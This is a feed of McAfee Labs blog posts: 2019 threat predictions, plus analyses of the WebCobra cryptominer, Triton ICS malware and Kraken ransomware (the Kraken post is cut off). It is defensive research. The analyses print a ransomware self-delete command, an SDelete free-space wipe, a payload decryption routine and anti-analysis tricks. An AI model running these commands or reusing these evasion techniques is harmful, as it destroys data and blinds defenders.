Activities to manipulate public opinion have been well documented and bots well versed in manipulating conversations to drive agendas stand ready. Next year we expect that cybercriminals will repurpose these campaigns to extort companies by threatening to damage their brands. Organizations face a serious danger.

Data Exfiltration Attacks to Target the Cloud

In the past two years, enterprises have widely adopted the Software-as-a-Service model, such as Office 365, as well as Infrastructure- and Platform-as-a-Service cloud models, such as AWS and Azure. With this move, far more corporate data now resides in the cloud. In 2019, we expect a significant increase in attacks that follow the data to the cloud.

With the increased adoption of Office 365, we have noticed a surge of attacks on the service— especially attempts to compromise email. One threat the McAfee cloud team uncovered was the botnet KnockKnock, which targeted system accounts that typically do not have multifactor authentication. We have also seen the emergence of exploits of the trust model in the Open Authorization standard. One was launched by Fancy Bear, the Russian cyber espionage group, phishing users with a fake Google security app to gain access to user data.

Similarly, during the last couple of years we have seen many high-profile data breaches attributed to misconfigured Amazon S3 buckets. This is clearly not the fault of AWS. Based on the shared responsibility model, the customer is on the hook to properly configure IaaS/PaaS infrastructure and properly protect their enterprise data and user access. Complicating matters, many of these misconfigured buckets are owned by vendors in their supply chains, rather than by the target enterprises. With access to thousands of open buckets and credentials, bad actors are increasingly opting for these easy pickings.

McAfee has found that 21% of data in the cloud is sensitive—such as intellectual property, and customer and personal data—according to the McAfee Cloud Adoption and Risk Report. With a 33% increase in users collaborating on this data during the past year, cybercriminals know how to seek more targets:

  • Cloud-native attacks targeting weak APIs or ungoverned API endpoints to gain access to the data in SaaS as well as in PaaS and serverless workloads
  • Expanded reconnaissance and exfiltration of data in cloud databases (PaaS or custom applications deployed in IaaS) expanding the S3 exfiltration vector to structured data in databases or data lakes
  • Leveraging the cloud as a springboard for cloud-native man-in-the-middle attacks (such as GhostWriter, which exploits publicly writable S3 buckets introduced due to customer misconfigurations) to launch cryptojacking or ransomware attacks into other variants of MITM attacks.

Voice-Controlled Digital Assistants the Next Vector in Attacking IoT Devices

As tech fans continue to fill their homes with smart gadgets, from plugs to TVs, coffee makers to refrigerators, and motion sensors to lighting, the means of gaining entry to a home network are growing rapidly, especially given how poorly secured many IoT devices remain.

But the real key to the network door next year will be the voice-controlled digital assistant, a device created in part to manage all the IoT devices within a home. As sales increase—and an explosion in adoption over the holiday season looks likely—the attraction for cybercriminals to use assistants to jump to the really interesting devices on a network will only continue to grow.

For now, the voice assistant market is still taking shape, with many brands still looking to dominate the market, in more ways than one, and it is unclear whether one device will become ubiquitous. If one does take the lead, its security features will quite rightly fall under the microscope of the media, though not perhaps before its privacy concerns have been fully examined in prose.

(Last year we highlighted privacy as the key concern for home IoT devices. Privacy will continue to be a concern, but cybercriminals will put more effort into building botnets, demanding ransoms, and threatening the destruction of property of both homes and businesses).

This opportunity to control a home’s or office’s devices will not go unnoticed by cybercriminals, who will engage in an altogether different type of writing in relation to the market winner, in the form of malicious code designed to attack not only IoT devices but also the digital assistants that are given so much license to talk to them.

Smartphones have already served as the door to a threat. In 2019, they may well become the picklock that opens a much larger door. We have already seen two threats that demonstrate what cybercriminals can do with unprotected devices, in the form of the Mirai botnet, which first struck in 2016, and IoT Reaper, in 2017. These IoT malware appeared in many variants to attack connected devices such as routers, network video recorders, and IP cameras. They expanded their reach by password cracking and exploiting known vulnerabilities to build worldwide robot networks.

Next year we expect to see two main vectors for attacking home IoT devices: routers and smartphones/ tablets. The Mirai botnet demonstrated the lack of security in routers. Infected smartphones, which can already monitor and control home devices, will become one of the top targets of cybercriminals, who will employ current and new techniques to take control.

Malware authors will take advantage of phones and tablets, those already trusted controllers, to try to take over IoT devices by password cracking and exploiting vulnerabilities. These attacks will not appear suspicious because the network traffic comes from a trusted device. The success rate of attacks will increase, and the attack routes will be difficult to identify. An infected smartphone could cause the next example of hijacking the DNS settings on a router. Vulnerabilities in mobile and cloud apps are also ripe for exploitation, with smartphones at the core of the criminals’ strategy.

Infected IoT devices will supply botnets, which can launch DDoS attacks, as well as steal personal data. The more sophisticated IoT malware will exploit voice-controlled digital assistants to hide its suspicious activities from users and home-network security software. Malicious activities such as opening doors and connecting to control servers could be triggered by user voice commands (“Play music” and “What is today’s weather?”). Soon we may hear infected IoT devices themselves exclaiming: “Assistant! Open the back door!”

Cybercriminals to Increase Attacks on Identity Platforms and Edge Devices Under Siege

Large-scale data breaches of identity platforms—which offer centralized secure authentication and authorization of users, devices, and services across IT environments—have been well documented in 2018. Meanwhile, the captured data is being reused to cause further misery for its victims. In 2019, we expect to see large-scale social media platforms implement additional measures to protect customer information. However, as the platforms grow in numbers, we predict criminals will further focus their resources on such attractive, data-rich environments. The struggle between criminals and big-scale platforms will be the next big battleground.

Triton, malware that attacks industrial control systems (ICS), has demonstrated the capabilities of adversaries to remotely target manufacturing environments through their adjacent IT environments. Identity platform and “edge device” breaches will provide the keys to adversaries to launch future remote ICS attacks due to static password use across environments and constrained edge devices, which lack secure system requirements due to design limitations. (An edge device is any network-enabled system hardware or protocol within an IoT product.) We expect multifactor authentication and identity intelligence will become the best methods to provide security in this escalating battle. We also predict identity intelligence will complement multifactor authentication to strengthen the capabilities of identity platforms.

Identity is a fundamental component in securing IoT. In these ecosystems, devices and services must securely identify trusted devices so that they can ignore the rest. The identity model has shifted from user centric in traditional IT systems to machine centric for IoT systems. Unfortunately, due to the integration of operational technology and insecure “edge device” design, the IoT trust model is built on a weak foundation of assumed trust and perimeter-based security.

At Black Hat USA and DEF CON 2018, 30 talks discussed IoT edge device exploitation. That’s a large increase from just 19 talks on the topic in 2017. The increase in interest was primarily in relation to ICS, consumer, medical, and “smart city” verticals. (See Figure 1.) Smart edge devices, combined with high-speed connectivity, are enabling IoT ecosystems, but the rate at which they are advancing is compromising the security of these systems.

Figure 1: The number of conference sessions on the security of IoT devices has increased, matching the growing threat to poorly protected devices. 

Most IoT edge devices provide no self-defense (isolating critical functions, memory protection, firmware protection, least privileges, or security by default) so one successful exploit owns the device. IoT edge devices also suffer from “break once, run everywhere” attacks—due to insecure components used across many device types and verticals. (See articles on WingOS and reverse engineering.)

McAfee Advanced Threat Research team engineers have demonstrated how medical device protocols can be exploited to endanger human life and compromise patients’ privacy due to assumed trust. These examples illustrate just a few of many possible scenarios that lead us to believe adversaries will choose IoT edge devices as the path of least resistance to achieve their objectives. Servers have been hardened over the last decade, but IoT hardware is far behind. By understanding an adversary’s motives and opportunities (attack surface and access capability), we can define a set of security requirements independent of a specific attack vector.

Figure 2 gives a breakdown of the types of vulnerabilities in IoT edge devices, highlighting weak points to address by building identity and integrity capabilities into edge hardware to ensure these devices can deflect attacks.

Figure 2: Insecure protocols are the primary attack surface in IoT edge devices.

IoT security must begin on the edge with a zero-trust model and provide a hardware root of trust as the core building block for protecting against hack and shack attacks and other threats. McAfee predicts an increase in compromises on identity platforms and IoT edge devices in 2019 due to the adoption of smart cities and increased ICS activity.

The post McAfee Labs 2019 Threats Predictions Report appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-2019-threats-predictions/feed/ 0
WebCobra Malware Uses Victims’ Computers to Mine Cryptocurrency https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/webcobra-malware-uses-victims-computers-to-mine-cryptocurrency/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/webcobra-malware-uses-victims-computers-to-mine-cryptocurrency/#comments Tue, 13 Nov 2018 05:01:11 +0000 https://securingtomorrow.mcafee.com/?p=92309

McAfee Labs researchers have discovered new Russian malware, dubbed WebCobra, which harnesses victims’ computing power to mine for cryptocurrencies.

The post WebCobra Malware Uses Victims’ Computers to Mine Cryptocurrency appeared first on McAfee Blogs.

]]>

The authors thank their colleagues Oliver Devane and Deepak Setty for their help with this analysis.

McAfee Labs researchers have discovered new Russian malware, dubbed WebCobra, which harnesses victims’ computing power to mine for cryptocurrencies.

Coin mining malware is difficult to detect. Once a machine is compromised, a malicious app runs silently in the background with just one sign: performance degradation. As the malware increases power consumption, the machine slows down, leaving the owner with a headache and an unwelcome bill, as the energy it takes to mine a single bitcoin can cost from $531 to $26,170, according to a recent report.

The increase in the value of cryptocurrencies has inspired cybercriminals to employ malware that steals machine resources to mine crypto coins without the victims’ consent.

The following chart shows how the prevalence of miner malware follows changes in the price of Monero cryptocurrency.

Figure 1: The price of cryptocurrency Monero peaked at the beginning of 2018. The total samples of coin miner malware continue to grow. Source: https://coinmarketcap.com/currencies/monero/.

McAfee Labs has previously analyzed the cryptocurrency file infector CoinMiner; and the Cyber Threat Alliance, with major assistance from McAfee, has published a report, “The Illicit Cryptocurrency Mining Threat.” Recently we examined the Russian application WebCobra, which silently drops and installs the Cryptonight miner or Claymore’s Zcash miner, depending on the architecture WebCobra finds. McAfee products detect and protect against this threat.

We believe this threat arrives via rogue PUP installers. We have observed it across the globe, with the highest number of infections in Brazil, South Africa, and the United States.

Figure 2: McAfee Labs heat map of WebCobra infections from September 9–13.

This cryptocurrency mining malware is uncommon in that it drops a different miner depending on the configuration of the machine it infects. We will discuss that detail later in this post.

Behavior

The main dropper is a Microsoft installer that checks the running environment. On x86 systems, it injects Cryptonight miner code into a running process and launches a process monitor. On x64 systems, it checks the GPU configuration and downloads and executes Claymore’s Zcash miner from a remote server.

Figure 3: WebCobra’s installation window.

After launching, the malware drops and unzips a password-protected Cabinet archive file with this command:

Figure 4: The command to unzip the dropped file.

The CAB file contains two files:

  • LOC: A DLL file to decrypt data.bin
  • bin: Contains the encrypted malicious payload

The CAB file uses the following script to execute ERDNT.LOC:

Figure 5: The script to load the DLL file, ERDNT.LOC.

ERDNT.LOC decrypt data.bin and passes the execution flow to it with this routine:

  • [PlainText_Byte] = (([EncryptedData_Byte] + 0x2E) ^ 0x2E) + 0x2E

Figure 6: The decryption routine. 

The program checks the running environment to launch the proper miner, shown in the following diagram:

Figure 7: Launching the proper miner depending on a system’s configuration.

Once data.bin is decrypted and executed, it tries a few anti-debugging, anti-emulation, and anti-sandbox techniques as well as checks of other security products running on the system. These steps allow the malware to remain undetected for a long time.

Most security products hook some APIs to monitor the behavior of malware. To avoid being found by this technique, WebCobra loads ntdll.dll and user32.dll as data files in memory and overwrites the first 8 bytes of those functions, which unhooks the APIs.

List of unhooked ntdll.dll APIs

  • LdrLoadDll
  • ZwWriteVirtualMemory
  • ZwResumeThread
  • ZwQueryInformationProcess
  • ZwOpenSemaphore
  • ZwOpenMutant
  • ZwOpenEvent
  • ZwMapViewOfSection
  • ZwCreateUserProcess
  • ZwCreateSemaphore
  • ZwCreateMutant
  • ZwCreateEvent
  • RtlQueryEnvironmentVariable
  • RtlDecompressBuffer

List of unhooked user32.dll APIs

  • SetWindowsHookExW
  • SetWindowsHookExA

Infecting an x86 system

The malware injects malicious code to svchost.exe and uses an infinite loop to check all open windows and to compare each window’s title bar text with these strings. This is another check by WebCobra to determine if it is running in an isolated environment designed for malware analysis.

  • adw
  • emsi
  • avz
  • farbar
  • glax
  • delfix
  • rogue
  • exe
  • asw_av_popup_wndclass
  • snxhk_border_mywnd
  • AvastCefWindow
  • AlertWindow
  • UnHackMe
  • eset
  • hacker
  • AnVir
  • Rogue
  • uVS
  • malware

The open windows will be terminated if any of preceding strings shows in the windows title bar text.

Figure 8: Terminating a process if the windows title bar text contains specific strings.

Once the process monitor executes, it creates an instance of svchost.exe with the miner’s configuration file specified as an argument and injects the Cryptonight miner code.

Figure 9: Creating an instance of svchost.exe and executing the Cryptonight miner.

Finally, the malware resumes the process with the Cryptonight miner running silently and consuming almost all the CPU’s resources.

Figure 10: An x86 machine infected with the Cryptonight miner. 

Infecting an x64 system

The malware terminates the infection if it finds Wireshark running.

Figure 11: Checking for Wireshark.

The malware checks the GPU brand and mode. It runs only if one of the following GPUs is installed:

  • Radeon
  • Nvidia
  • Asus

Figure 12: Checking the GPU mode.

If these checks are successful, the malware creates the following folder with hidden attributes and downloads and executes Claymore’s Zcash miner from a remote server.

  • C:\Users\AppData\Local\WIX Toolset 11.2

Figure 13: Requesting the download of Claymore’s Zcash miner.

Figure 14: Claymore’s miner.

Figure 15: Executing the miner with its configuration file.

Finally, the malware drops a batch file at %temp%\–xxxxx.cMD to delete the main dropper from [WindowsFolder]\{DE03ECBA-2A77-438C-8243-0AF592BDBB20}\*.*.

Figure 16: A batch file deleting the dropper.

The configuration files of the miners follow.

Figure 17: Cryptonight’s configuration file.

This configuration file contains:

  • The mining pool: 5.149.254.170
  • Username: 49YfyE1xWHG1vywX2xTV8XZzbzB1E2QHEF9GtzPhSPRdK5TEkxXGRxVdAq8LwbA2Pz7jNQ9gYBxeFPHcqiiqaGJM2QyW64C
  • Password: soft-net

Figure 18: Claymore’s Zcash miner configuration file.

This configuration file contains:

  • The mining pool: eu.zec.slushpool.com
  • Username: pavelcom.nln
  • Password: zzz

Coin mining malware will continue to evolve as cybercriminals take advantage of this relatively easy path to stealing value. Mining coins on other people’s systems requires less investment and risk than ransomware, and does not depend on a percentage of victims agreeing to send money. Until users learn they are supporting criminal miners, the latter have much to gain.

 

MITRE ATT&CK techniques

  • Exfiltration over command and control channel
  • Command-line interface
  • Hooking
  • Data from local system
  • File and directory discovery
  • Query registry
  • System information discovery
  • Process discovery
  • System time discovery
  • Process injection
  • Data encrypted
  • Data obfuscation
  • Multilayer encryption
  • File deletion

Indicators of compromise

IP addresses
  • 5.149.249[.]13:2224
  • 5.149.254[.]170:2223
  • 104.31.92[.]212
Domains
  • emergency.fee.xmrig[.]com
  • miner.fee.xmrig[.]com
  •  saarnio[.]ru
  • eu.zec.slushpool[.]com

McAfee detections

  • CoinMiner Version 2 in DAT Version 8986; Version 3 in DAT Version 3437
  • l Version 2 in DAT Version 9001; Version 3 in DAT Version 3452
  • RDN/Generic PUP.x Version 2 in DAT Version 8996; Version 3 in DAT Version 3447
  • Trojan-FQBZ, Trojan-FQCB, Trojan-FQCR Versions 2 in DAT Version 9011; Versions 3 in DAT Version 3462

Hashes (SHA-256)

  • 5E14478931E31CF804E08A09E8DFFD091DB9ABD684926792DBEBEA9B827C9F37
  • 2ED8448A833D5BBE72E667A4CB311A88F94143AA77C55FBDBD36EE235E2D9423
  • F4ED5C03766905F8206AA3130C0CDEDEC24B36AF47C2CE212036D6F904569350
  • 1BDFF1F068EB619803ECD65C4ACB2C742718B0EE2F462DF795208EA913F3353B
  • D4003E6978BCFEF44FDA3CB13D618EC89BF93DEBB75C0440C3AC4C1ED2472742
  • 06AD9DDC92869E989C1DF8E991B1BD18FB47BCEB8ECC9806756493BA3A1A17D6
  • 615BFE5A8AE7E0862A03D183E661C40A1D3D447EDDABF164FC5E6D4D183796E0
  • F31285AE705FF60007BF48AEFBC7AC75A3EA507C2E76B01BA5F478076FA5D1B3
  • AA0DBF77D5AA985EEA52DDDA522544CA0169DCA4AB8FB5141ED2BDD2A5EC16CE

The post WebCobra Malware Uses Victims’ Computers to Mine Cryptocurrency appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/webcobra-malware-uses-victims-computers-to-mine-cryptocurrency/feed/ 2
Triton Malware Spearheads Latest Generation of Attacks on Industrial Systems https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/triton-malware-spearheads-latest-generation-of-attacks-on-industrial-systems/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/triton-malware-spearheads-latest-generation-of-attacks-on-industrial-systems/#respond Thu, 08 Nov 2018 23:45:20 +0000 https://securingtomorrow.mcafee.com/?p=92600

Malware that attacks industrial control systems (ICS), such as the Stuxnet campaign in 2010, is a serious threat. This class of cyber sabotage can spy on, disrupt, or destroy systems that manage large-scale industrial processes. An essential danger in this threat is that it moves from mere digital damage to risking human lives.

The post Triton Malware Spearheads Latest Generation of Attacks on Industrial Systems appeared first on McAfee Blogs.

]]>

Malware that attacks industrial control systems (ICS), such as the Stuxnet campaign in 2010, is a serious threat. This class of cyber sabotage can spy on, disrupt, or destroy systems that manage large-scale industrial processes. An essential danger in this threat is that it moves from mere digital damage to risking human lives. In this post we will review the history of ICS malware, briefly examine how one ICS framework operates, and offer our advice on how to fight such threats.

ICS malware is usually sophisticated, requiring time to research its targets and sufficient resources. Attackers can be motivated by financial gain, hacktivism, or espionage, as well as for political ends, as we saw with Stuxnet. Since Stuxnet, researchers have discovered several industrial attacks; each year we seem to read about a worse threat than before.

In August 2017, a sophisticated malware targeted petrochemical facilities in the Middle East. The malware—dubbed Triton, Trisis, or HatMan—attacked safety instrumented systems (SIS), a critical component that has been designed to protect human life. The system targeted in that case was the Schneider Triconex SIS. The initial vector of infection is still unknown, but it was likely a phishing attack.

After gaining remote access, the Triton attackers moved to disrupt, take down, or destroy the industrial process. The goal of the attackers is still unclear because the attack was discovered after an accidental shutdown of the plant led to further investigation. Investigations conducted by several security companies have revealed a complex malware framework embedding PowerPC shellcode (the Triconex architecture) and an implementation of the proprietary communication protocol TriStation. The malware allowed the attackers to easily communicate with safety controllers and remotely manipulate system memory to inject shellcodes; they completely controlled the target. However, because the attack did not succeed it is possible that a payload, the final stage of the attack, was missing. All investigations pointed in this direction. If the final payload had been delivered, the consequences could have been disastrous.

History of ICS malware

In 2010, Stuxnet was one of the most sophisticated ICS threats discovered. This cyber weapon was created to target Iranian centrifuges. It was able to reprogram a particular programmable logic controller to change the speed of centrifuge rotations. The goal of Stuxnet was not to destroy but to take the control of the industrial process.

In 2013, the malware Havex targeted energy grids, electricity firms, and many others. The attackers collected a large amount of data and remotely monitored industrial systems. Havex was created for espionage and sabotage.

BlackEnergy was discovered in 2015. It targeted critical infrastructure and destroyed files stored on workstations and servers. In Ukraine, 230,000 people were left in the dark for six hours after hackers compromised several power distribution centers.

In 2015, IronGate was discovered on public sources. It targeted Siemens control systems and had functionalities similar to Stuxnet’s. It is unclear if this was a proof of concept or a simple penetration-testing tool.

Industroyer hit Ukraine again in 2016. The malware embedded a data wiper component as well as a distributed denial of services module. It was crafted for destruction. The attack caused a second shutdown of Ukraine’s power grid.

In 2017, Triton was discovered. The attack did not succeed; the consequences could have been disastrous.

ICS malware are critical because they infect industrial devices and automation. However, regular malware can also impact industrial process. Last year WannaCry forced several companies, from medical to automobile industries, to stop production. Some months later NotPetya hit nuclear power plants, power grids, and health care systems. In 2018, a cryptocurrency miner struck a water utility in Europe.

Facing widespread risks, critical infrastructures need a specific approach to stay safe.

Triton framework

Triton targeted the Triconex safety controller, distributed by Schneider Electric. Triconex safety controllers are used in 18,000 plants (nuclear, oil and gas refineries, chemical plants, etc.), according to the company. Attacks on SIS require a high level of process comprehension (by analyzing acquired documents, diagrams, device configurations, and network traffic). SIS are the last protection against a physical incident.

The attackers gained access to the network probably via spear phishing, according to an investigation. After the initial infection, the attackers moved onto the main network to reach the ICS network and target SIS controllers.

To communicate with SIS controllers, attackers recoded the proprietary TriStation communication protocol on port UDP/1502. This step suggests they invested the time to reverse engineer the Triconex product.

Nozomi Networks has created a Wireshark dissector that is very handy for analyzing the TriStation protocol and detecting a Triton attack. The following screenshot shows an example of the information returned by the Triconex SIS. Triton requires the “running state” of the controller to perform the next stages of the attack.

In the preceding screen Triconex replies to the request “Get Control Program Status,” which is sent by Triton.

The Triton framework (dc81f383624955e0c0441734f9f1dabfe03f373c) posed as the legitimate executable trilog.exe, which collects logs. The executable is a python script compiled in an exe. The framework also contains library.zip (1dd89871c4f8eca7a42642bf4c5ec2aa7688fd5c), which contains all the python scripts required by Triton. Finally, two PowerPC shellcodes (the target architecture) are used to compromise the controllers. The first PowerPC shellcode is an injector (inject.bin, f403292f6cb315c84f84f6c51490e2e8cd03c686) used to inject the second stage (imain.bin, b47ad4840089247b058121e95732beb82e6311d0), the backdoor that allows read, write, and execute access on the Triconex product.

The following schema shows the main modules of Triton:

The missing payload has not been recovered during the forensic investigation. Because the attack was discovered early, it is possible that the attackers did not have time to launch the final stage.

How to detect an unusual network connection

Nozomi Networks has created a script that simulates a Triconex safety controller. We modified this script with a Raspberry Pi to create a cheap detector tool.

 

This inexpensive tool can be easily installed on an ICS network. If an illegitimate connection occurs, the device alerts with a blinking LED and siren. It also displays the IP address of the connection for further investigation.

The following picture shows how to connect the LED and buzzer.

Fighting ICS malware

ICS malware has become more aggressive and sophisticated. Many industrial devices were built before anyone imagined cyberattacks such as Triton. ICS’s are now exposed to connected environments they were not designed for.

Standard McAfee security recommendations (vulnerability patching, complex passwords, identification control, security tools, etc.) remain the same as for regular networks, yet industrial systems also require specific procedures due to their importance. Industrial networks must be segregated from general business networks, and every machine connected to the industrial process should be carefully monitored by using strict access control and application whitelisting.

Further security recommendations:

  • Segregate physical and logical access to ICS networks with strong authentication, including strong passwords and double factor, card readers, surveillance cameras, etc.
  • Use DMZ and firewall to prevent network traffic from passing between the corporate and the ICS network
  • Deploy strong security measures on the ICS network perimeter, including patch management, disabling unused ports, and restricting ICS user privileges
  • Log and monitor every action on the ICS network to quickly identify a point of failure
  • When possible implement redundancy on critical devices to avoid major issues
  • Develop strong security policies and an incident response plan to restore systems during an incident
  • Train people with simulated incident responses and security awareness

Attackers learn what works from past attacks and from each other. Rapid developments in ICS threats make it crucial to stay protected. Manufacturers, plant operators, governments, and the cybersecurity industry must work together to avoid critical cyberattacks.

 

Indicators of compromise

  • dc81f383624955e0c0441734f9f1dabfe03f373c: trilog.exe
  • b47ad4840089247b058121e95732beb82e6311d0: imain.bin
  • f403292f6cb315c84f84f6c51490e2e8cd03c686: inject.bin
  • 91bad86388c68f34d9a2db644f7a1e6ffd58a449: script_test.py
  • 1dd89871c4f8eca7a42642bf4c5ec2aa7688fd5c: library.zip
  • 97e785e92b416638c3a584ffbfce9f8f0434a5fd: TS_cnames.pyc
  • d6e997a4b6a54d1aeedb646731f3b0893aee4b82: TsBase.pyc
  • 66d39af5d61507cf7ea29e4b213f8d7dc9598bed: TsHi.pyc
  • a6357a8792e68b05690a9736bc3051cba4b43227: TsLow.pyc
  • 2262362200aa28b0eead1348cb6fda3b6c83ae01: crc.pyc
  • 9059bba0d640e7eeeb34099711ff960e8fbae655: repr.pyc
  • 6c09fec42e77054ee558ec352a7cd7bd5c5ba1b0: select.pyc
  • 25dd6785b941ffe6085dd5b4dbded37e1077e222: sh.pyc

References

 

The post Triton Malware Spearheads Latest Generation of Attacks on Industrial Systems appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/triton-malware-spearheads-latest-generation-of-attacks-on-industrial-systems/feed/ 0
Fallout Exploit Kit Releases the Kraken Ransomware on Its Victims https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/#respond Tue, 30 Oct 2018 21:00:33 +0000 https://securingtomorrow.mcafee.com/?p=92202

Alexandr Solad and Daniel Hatheway of Recorded Future are coauthors of this post. Read Recorded Future’s version of this analysis.  Rising from the deep, Kraken Cryptor ransomware has had a notable development path in recent months. The first signs of Kraken came in mid-August on a popular underground forum. In mid-September it was reported that […]

The post Fallout Exploit Kit Releases the Kraken Ransomware on Its Victims appeared first on McAfee Blogs.

]]>

Alexandr Solad and Daniel Hatheway of Recorded Future are coauthors of this post. Read Recorded Future’s version of this analysis. 

Rising from the deep, Kraken Cryptor ransomware has had a notable development path in recent months. The first signs of Kraken came in mid-August on a popular underground forum. In mid-September it was reported that the malware developer had placed the ransomware, masquerading as a security solution, on the website SuperAntiSpyware, infecting systems that tried to download a legitimate version of the antispyware software.

Kraken’s presence became more apparent at the end of September, when the security researcher nao_sec discovered that the Fallout Exploit Kit, known for delivering GandCrab ransomware, also started to deliver Kraken.

The McAfee Advanced Threat Research team, working with the Insikt group from Recorded Future, found evidence of the Kraken authors asking the Fallout team to be added to the Exploit Kit. With this partnership, Kraken now has an additional malware delivery method for its criminal customers.

We also found that the user associated with Kraken ransomware, ThisWasKraken, has a paid account. Paid accounts are not uncommon on underground forums, but usually malware developers who offer services such as ransomware are highly trusted members and are vetted by other high-level forum members. Members with paid accounts are generally distrusted by the community.

 

Kraken Cryptor’s developers asking to join the Fallout Exploit Kit.

Kraken Cryptor announcement.

The ransomware was announced, in Russian, with the following features:

  • Encoded in C# (.NET 3.5)
  • Small stub size ~85KB
  • Fully autonomous
  • Collects system information as an encrypted message for reference
  • File size limit for encryption
  • Encryption speed faster than ever
  • Uses a hybrid combination of encryption algorithms (AES, RC4, Salsa20) for secure and fast encryption with a unique key for each file
  • Enables the use of a network resource and adds an expansion bypass mode for encrypting all files on non-OS disks
  • Is impossible to recover data using a recovery center or tools without payment
  • Added antidebug, antiforensic methods

Kraken works with an affiliate program, as do ransomware families such as GandCrab. This business scheme is often referred to a Ransomware-as-a-Service (RaaS).

Affiliates are given a new build of Kraken every 15 days to keep the payload fully undetectable from antimalware products. According to ThisWasKraken, when a victim asks for a free decryption test, the affiliate member should send one of the victim’s files with its associated unique key to the Kraken Cryptor ransomware support service. The service will decrypt the file and resend it to the affiliate member to forward the victim. After the victim pays the full ransom, the affiliate member sends a percentage of the received payment to the RaaS developers to get a decryptor key, which is forwarded to the victim. This system ensures the affiliate pays a percentage to the affiliate program and does not simply pocket the full amount. The cut for the developers offers them a relatively safe way of making a profit without exposing themselves to the risk of spreading ransomware.

We have observed that the profit percentage for the developers has decreased from 25% in Version 1 to 20% in Version 2. The developers might have done this to attract more affiliates. To enter the program, potential affiliates must complete a form and pay $50 to be accepted.

In the Kraken forum post it states that the ransomware cannot be used in the following countries:

  • Armenia
  • Azerbaijan
  • Belarus
  • Estonia
  • Georgia
  • Iran
  • Kazakhstan
  • Kyrgyzstan
  • Latvia
  • Lithuania
  • Moldova
  • Russia
  • Tajikistan
  • Turkmenistan
  • Ukraine
  • Uzbekistan

On October 21, Kraken’s authors released Version 2 of the affiliate program, reflecting the ransomware’s popularity and a fresh release. At the same time, the authors published a map showing the distribution of their victims:

Note that some of the countries on the developers’ exclusion list have infections.

Video promotions

The first public release of Kraken Cryptor was Version 1.2; the latest is Version 2.07. To promote the ransomware, the authors created a video showing its capabilities to potential customers. We analyzed the metadata of the video and believe the authors created it along with the first version, released in August.

In the video, the authors show how fast Kraken can encrypt data on the system:

Kraken ransomware in action.

Actor indications

The Advanced Threat Research team and Recorded Future’s Insikt group analyzed all the forum messages posted by ThisWasKraken. Based on the Russian language used in the posts, we believe ThisWasKraken is neither a native Russian nor English speaker. To make forum posts in Russian, the actor likely uses an automated translation service, suggested by the awkward phrasing indicative of such a service. In contrast, the actor is noticeably more proficient in English, though they make mistakes consistently in both sentence structure and spelling. English spelling errors are also noticeable in the ransom note.

ThisWasKraken is likely part of a team that is not directly involved in the development of the ransomware. The actor’s role is customer facing, through the Jabber account thiswaskraken@exploit[.]im. Communications with ThisWasKraken show that the actor refers all technical issues to the product support team at teamxsupport@protonmail[.]com.

Payments

Bitcoin is the only currency the affiliate program uses. Insikt Group identified several wallets associated with the operation. Kraken’s developers appear to have choose BitcoinPenguin, an online gambling site as the primary money laundering conduit. It is very uncommon for criminal actors, and specifically ransomware operators, to bypass traditional cryptocurrency exchangers when laundering stolen funds. One of the decisive factors for the unusual choice was likely BitcoinPenguin’s lack of requiring identity verification by its members, allowing anyone to maintain an anonymous cryptocurrency wallet.

Although in response to regulatory demands cryptocurrency exchangers continue to stiffen their registration rules, online crypto casinos do not have to follow the same know-your-customer guidelines, providing a convenient loophole for all kinds of money launderers.

Bitcoin transactions associated with Kraken analyzed with the Crystal blockchain tool. The parent Bitcoin wallet is 3MsZjBte81dvSukeNHjmEGxKSv6YWZpphH.

Kraken Cryptor at work

The ransomware encrypts data on the disk very quickly and uses external tools, such as SDelete from the Sysinternals suite, to wipe files and make file recovery harder.

The Kraken Cryptor infection scheme.

The ransomware has implemented a user account control (UAC) bypass using the Windows Event Viewer. This bypass technique is used by other malware families and is quite effective for executing malware.

The technique is well explained in an article by blogger enigma0x3.

We analyzed an early subset of Kraken ransomware samples and determined they were still in the testing phase, adding and removing options. The ransomware has implemented a “protection” to delete itself during the infection phase:

“C:\Windows\System32\cmd.exe” /C ping 127.0.0.1 -n 3 > NUL&&del /Q /F /S “C:\Users\Administrator\AppData\Local\Temp\krakentemp0000.exe”

This step is to prevent researchers and endpoint protections from catching the file on an infected machine.

Kraken encrypts user files with a random name and drops the ransom note demanding the victim to pay to recover them. McAfee recommends not paying ransoms because doing so contributes to the development of more ransomware families.

Kraken’s ransom note.

Each file extension is different; this technique is often used by specific ransomware families to bypass endpoint protection systems.

Kraken delivered by the exploit kit bypasses the UAC using Event Viewer, drops a file on the system, and executes it through the UAC bypass method.

The binary delivered by the exploit kit.

The authors of the binary forgot during the compilation of the first versions to delete the PDB reference, revealing that the file has a relationship with Kraken Cryptor:

The early versions contained the following path:

C:\Users\Krypton\source\repos\UAC\UAC\obj\\Release\UAC.pdb.

Later versions dropped the PDB path together with the Kraken loader.

Using SysInternals tools

One unique feature of this ransomware family is the use of SDelete. Kraken uses a .bat file to perform certain operations, making file recovery much more challenging:

Kraken downloads SDelete from the Sysinternals website, adds the registry key accepting the EULA to avoid the pop-up, and executes it with the following arguments:

sdelete.exe -c -z C

The SDelete batch file makes file recovery much harder by overwriting all free space on the drive with zeros, deleting the Volume Shadow Copies, disabling the recovery reboot option and finally rebooting the system after 300 seconds.

Netguid comparison

The earlier versions of Kraken were delivered by a loader before it moved to a direct execution method. The loader we examined contained a specific netguid. With this, we found additional samples of the Kraken loader on VirusTotal:

Not only the loader had a specific netguid but the compiled versions of Kraken also shared a netguid, making it possible to continue hunting samples:

Comparing versions

Kraken uses a configuration file in every version to set the variables for the ransomware. This file is easily extracted for additional analysis.

Based on the config file we have discovered nine versions of Kraken:

  • 1.2
  • 1.3
  • 1.5
  • 1.5.2
  • 1.5.3
  • 1.6
  • 2.0
  • 2.0.4
  • 2.0.7

